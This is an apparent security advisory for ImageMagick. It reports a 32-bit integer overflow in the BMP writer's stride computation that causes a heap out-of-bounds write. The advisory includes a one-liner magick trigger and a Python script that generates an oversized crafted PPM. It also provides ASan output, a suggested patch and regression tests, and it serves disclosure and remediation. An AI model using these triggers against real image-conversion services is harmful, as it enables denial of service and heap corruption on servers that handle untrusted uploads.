GHSA-mxvv-97wh-cfmm

Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

• Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP.

• Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers.

• 32-bit: Vulnerable (reproduced with ASan).

• 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.

• Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Scope & Affected Builds

• Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c).

• Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7

• Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712

• Architecture: 32-bit i686 (sizeof(size_t) == 4) with ASan/UBSan.

• Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.

Root Cause (with code anchors)

Stride computation (writer)

bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);

Per-row base and 24-bpp loop (writer)

q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes
}

Allocation (writer)

pixel_info = AcquireVirtualMemory(image->rows,
    MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INT_MAX on 32-bit, so the caps do not prevent the bug.

Integer-Overflow Analysis (32-bit size_t)

Stride formula for 24-bpp:

bytes_per_line = 4 * ((width * 24 + 31) / 32)

There are two independent overflow hazards on 32-bit:

1. Stage-1 multiply+add in (width * 24 + 31)
   Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969
   → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytes_per_line.

2. Stage-2 final ×4 after the division
   Let q = (width * 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF.
   Solving gives width ≥ 1,431,655,765 (0x55555555).

Both thresholds are below INT_MAX (≈2.147e9), so “int caps” don’t help.

Mismatch predicate (guaranteed OOB when overflowed):
Per-row write for 24-bpp is row_bytes = 3*width. Safety requires row_bytes ≤ bytes_per_line.
Under either overflow, bytes_per_line collapses → 3*width > bytes_per_line holds → OOB-write.

Concrete Demonstration

Chosen width: W = 178,957,200 (just over Stage-1 bound)

• Stage-1: 24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535

• Divide by 32: 5535 / 32 = 172

• Multiply by 4: bytes_per_line = 172 * 4 = **688** bytes ← tiny stride

• Per-row data (24-bpp): row_bytes = 3*W = **536,871,600** bytes

• Allocation used: MagickMax(688, W+256) = **178,957,456** bytes

• Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.

Observed Result (ASan excerpt)

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
  AcquireVirtualMemory MagickCore/memory.c:747
  WriteBMPImage coders/bmp.c:2092

• Binary: ELF 32-bit i386, Q8, non-HDRI

• Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)

Exploitability & Risk

• Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.

• Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).

• Likely deployment: Server-side, non-interactive conversion pipelines (UI:N).

• Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.

Note on 64-bit: Without integer overflow, bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

Reproduction (copy-paste triager script)

Test Environment:

• docker run -it --rm --platform linux/386 debian:11 bash

• Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3

• Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f...

• Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

  ./configure \
    --host=i686-pc-linux-gnu \
    --build=x86_64-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"
  
  make -j"$(nproc)"
  

• Runtime limits to exercise writer:

  export MAGICK_WIDTH_LIMIT=200000000
  export MAGICK_HEIGHT_LIMIT=200000000
  export MAGICK_TEMPORARY_PATH=/tmp
  export TMPDIR=/tmp
  export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
  

One-liner trigger (no input file):

W=178957200
./utilities/magick \
  -limit width 200000000 -limit height 200000000 \
  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \
  -limit thread 1 \
  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null

Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).

Alternate PoC (raw PPM generator):

#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255              
# W > 178,956,969
with open("huge.ppm", "wb") as f:
    f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
    chunk = (b"\x41\x42\x43") * (1024*1024)
    remaining = 3 * W
    while remaining:
        n = min(remaining, len(chunk))
        f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp

Proposed Severity

• Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical

• If strictly CLI/manual conversion: UI:R → 8.8 High

Maintainer Pushbacks — Pre-empted

• “MagickMax makes allocation large.” The row base advances by overflowed bytes_per_line, causing row overlap and eventual region exit regardless of total allocation size.

• “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.

• “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct.

Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (rowbytes) always fits within the computed stride (bytesper_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

• Validate width and bitsperpixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.
• Compute rowbytes for the chosen bpp and assert rowbytes <= bytesperline.
• Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).

Regression Tests to Include (PR-friendly)

1. 32-bit overflow repros (with ASan):

   • rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors.

   • rows=2, same bound → no row overlap; clean error.

2. 64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows * bytes_per_line.

3. Packed bpp (1/4/8): Validate row_bytes = (width*bpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.

Attachments (private BMP_Package)

Provided with report: README.md, pocppmgenerator.py, reprocommands.sh, fullasanbmpcrash.txt, appendixapatch_block.c. (Private gist link with package provided separately.)

Disclosure & Coordination

• Reporter: Lumina Mescuwa

• Tested on: i686 Linux container (details in Repro)

• Timeline: August 19th, 2025

Appendices

Appendix A — Patch block tailored to  bmp.c

Where this hooks in (current code):

• Stride is computed here: bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);

• Header uses bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);

• Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));

• 24-bpp row loop writes pixels then zero-pads up to bytes_per_line (so the per-row slot size matters): for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;

Suggested Patch (minimal surface, guards + invariant)

I recommend this in place of the existing bytes_per_line assignment and the subsequent bmp_info.image_size / allocation block. Keep your macros and local variables as-is.

/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */

/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */
if (bmp_info.bits_per_pixel == 0 ||
    (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;
/* Divide first; then check the final ×4 won't overflow. */
_tmp /= 32;
if (_tmp > (SIZE_MAX / 4))
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytes_per_line = 4 * _tmp;  /* same formula as before, now checked */

/* 2) Compute the actual data bytes written per row for the chosen bpp. */
size_t row_bytes;
if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {
  /* packed: ceil(width*bpp/8) */
  if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;
} else {
  /* 16/24/32 bpp: (bpp/8) * width */
  size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;
  if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = bpp_bytes * (size_t)image->columns;
}

/* 3) Per-row safety invariant: the payload must fit the stride. */
if (row_bytes > bytes_per_line)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/* 4) Guard header size and allocation products. */
if ((size_t)image->rows == 0)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */
if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);

/* Allocation count = rows * stride_used, with existing MagickMax policy. */
size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);
if (_stride > SIZE_MAX / (size_t)image->rows)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

/* Optional: keep zeroing aligned to computed header size. */
(void) memset(pixels, 0, (size_t) bmp_info.image_size);

/* --- PATCH END --- */

Why this is the right spot?

• It replaces the unguarded stride line you currently have, without changing the algorithm (still 4*((W*bpp+31)/32)). 

• It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication. 

• It guards allocation where you presently allocate rows × MagickMax(bytes_per_line, columns+256). 

• The invariant row_bytes ≤ bytes_per_line ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytes_per_line) can never exceed the per-row slot the code relies on. 

Notes

• Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected. 

• Header consistency: biSizeImage = rows * bytes_per_line remains true by construction, but now cannot overflow a 32-bit DIB field. 

• Defensive alignment: If you prefer, you can compute bytes_per_line as ((row_bytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.

A slightly larger “helpers” variant (with safe_mul_size / safe_add_size utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.

Appendix B — Arithmetic Worked Example (W=178,957,200)

• (24W + 31) mod 2^32 = 5535

• bytes_per_line = 4 * (5535/32) = 688

• row_bytes (24-bpp) = 536,871,600

• Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.

Appendix C — Raw ASan Log (trimmed)

=================================================================
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 at 0x6eaac490 thread T0
    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309
    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342
    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564
0x6eaac490 is located 0 bytes to the right of 178957456-byte region
allocated by thread T0 here:
    #0 0x408e30ab in __interceptor_posix_memalign
    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747
    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092